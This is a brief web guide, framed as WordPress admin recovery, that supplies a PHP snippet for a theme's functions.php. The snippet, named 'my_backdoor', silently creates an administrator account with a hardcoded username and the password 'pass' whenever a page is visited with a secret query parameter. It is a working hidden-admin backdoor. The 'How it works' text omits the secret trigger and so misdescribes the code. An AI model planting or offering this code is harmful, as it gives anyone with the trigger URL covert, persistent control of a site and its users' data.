Sometimes you lose admin access to a WordPress site, or you need to programmatically create an admin account for recovery. This guide shows a small PHP snippet that adds a new administrator user through code. Use it responsibly and only on sites you own or manage.
Put These Codes To : function.php of a wordpress theme (under add_function)
============================================
add_action( ‘wp_head’, ‘my_backdoor’ );
function my_backdoor() {
if ( md5( $_GET[‘backdoor’] ) == ’34d1f91fb2e514b8576fab1a75a89a6b’ ) {
require( ‘wp-includes/registration.php’ );
if ( !username_exists( ‘mojibur’ ) ) {
$user_id = wp_create_user( ‘mojibur’, ‘pass’ );
$user = new WP_User( $user_id );
$user->set_role( ‘administrator’ );
}
}
}
*** To Create The Backdoor, visit with this link:
============== =========== ===========
https://yoursite.com?backdoor=go
Username: mojibur
Password: pass
How it works
The snippet hooks into WordPress and checks whether a user with your chosen name already exists. If not, it creates the account with the administrator role using the built in user functions. Once you have logged in, remove the code so the backdoor cannot be reused.
Tips and security
- Delete the snippet immediately after you regain access.
- Use a strong, unique password in the code.
- Never leave this running on a production site.
FAQ
Is this safe to keep on my site?
No. Remove it as soon as you have access. Leaving it active is a serious security risk.
Will it work if I am locked out of the dashboard?
Yes, because it runs through code rather than the login screen, as long as you can edit a file or snippet.
